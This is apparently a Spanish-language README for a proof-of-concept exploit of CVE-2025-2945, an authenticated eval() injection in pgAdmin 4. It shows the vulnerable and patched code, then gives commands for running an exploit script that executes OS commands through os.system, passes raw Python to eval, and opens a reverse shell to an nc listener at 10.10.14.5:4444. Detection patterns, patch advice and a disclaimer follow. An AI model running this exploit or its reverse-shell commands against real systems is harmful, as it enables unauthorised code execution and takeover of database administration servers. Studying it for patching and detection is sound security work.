
PoC para CVE-2025-2945 — inyección RCE en eval() autenticada en pgAdmin 4, CVSS 9.9
CVSS 3.1: 9.9 (Crítico) · Afecta: pgAdmin 4 8.10 – 9.1 · Corregido en: 9.2 (4 de abril de 2025) CWE-95 (Neutralización Incorrecta de Directivas en Código Evaluado Dinámicamente / Inyección en Eval)
Una prueba de concepto de explotación para CVE-2025-2945, una vulnerabilidad de ejecución remota de código autenticada en la Herramienta de Consultas de pgAdmin 4. Un indicador booleano de estado de transacción (query_commited) se pasa directamente a eval() de Python en lugar de analizarse como booleano, lo que permite a un usuario autenticado ejecutar Python arbitrario — y, por extensión, comandos arbitrarios del sistema operativo — bajo los privilegios del proceso de servicio de pgAdmin. El mismo anti-patrón está presente una segunda vez en el módulo de Implementación en la Nube del proveedor de Google (high_availability).
Un informe técnico completo que cubre la causa raíz, la lógica de explotación, las pautas de detección y la remediación está disponible aquí: khashayarnazarkardeh.com — Notas de Campo
Código vulnerable (web/pgadmin/tools/sqleditor/__init__.py):
if key == 'query_commited':
query_commited = (
eval(value) if isinstance(value, str) else value
)
Código corregido (pgAdmin 9.2+):
query_commited = (
value.lower() in ('true', '1') if isinstance(value, str) else value
)
La vulnerabilidad requiere una sesión autenticada de pgAdmin y una transacción de la Herramienta de Consultas vinculada a un servidor de base de datos ya registrado en la cuenta objetivo. Ambos son requisitos previos comunes en implementaciones reales, donde pgAdmin suele estar preconfigurado con una o más conexiones de servidor guardadas.
--username / --password)--db-user / --db-password / --db-name)git clone https://github.com/Khashayarnzk/CVE-2025-2945.git
cd CVE-2025-2945
pip install -r requirements.txt
python3 CVE-2025-2945.py \
--host <objetivo> --port 80 \
--username <correo-pgadmin> --password <contraseña-pgadmin> \
--db-user <usuario-bd> --db-password <contraseña-bd> --db-name <nombre-bd> \
--cmd id
| Indicador | Descripción |
|---|---|
--cmd COMANDO | Ejecuta un único comando del sistema operativo mediante os.system() |
--reverse-shell HOST:PUERTO | Genera una shell inversa mediante tubería con nombre hacia un listener que usted controle |
--raw-payload EXPR | Pasa una expresión Python cruda directamente al sumidero vulnerable eval() |
# En su host de ataque, en una terminal separada:
nc -lvnp 4444
# Ejecute el exploit:
python3 CVE-2025-2945.py \
--host pgadmin.internal.example.com --port 80 \
--username [email protected] --password 'correct-horse-battery-staple' \
--db-user postgres --db-password postgres --db-name postgres \
--reverse-shell 10.10.14.5:4444
python3 CVE-2025-2945.py --help
Los defensores deben monitorear:
/sqleditor/query_tool/download/<trans_id> o /cloud/deploy donde query_commited / high_availability sea cualquier cosa distinta de un "true", "false", "1" o "0" literal.__import__, os.system, subprocess, eval, exec, open() que aparezcan en cualquiera de los parámetros.Actualice a pgAdmin 4 9.2 o posterior. El parche es una corrección mínima de coerción booleana de bajo riesgo. Cuando no sea posible aplicar el parche de inmediato, restrinja el acceso de red a pgAdmin a redes autenticadas de confianza y deshabilite el módulo de Implementación en la Nube para cuentas que no lo requieran.
Khashayar Nazarkardeh — Líder de Ciberseguridad y Seguridad de IA khashayarnazarkardeh.com · @Khashayarnzk
Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas, investigación y fines educativos. Ejecutarla contra cualquier sistema sin autorización explícita y documentada del propietario del sistema es ilegal en la mayoría de las jurisdicciones. El autor no asume ninguna responsabilidad por el uso indebido de este software. Al usar este script, usted acepta que es el único responsable de asegurarse de tener permiso para probar el objetivo.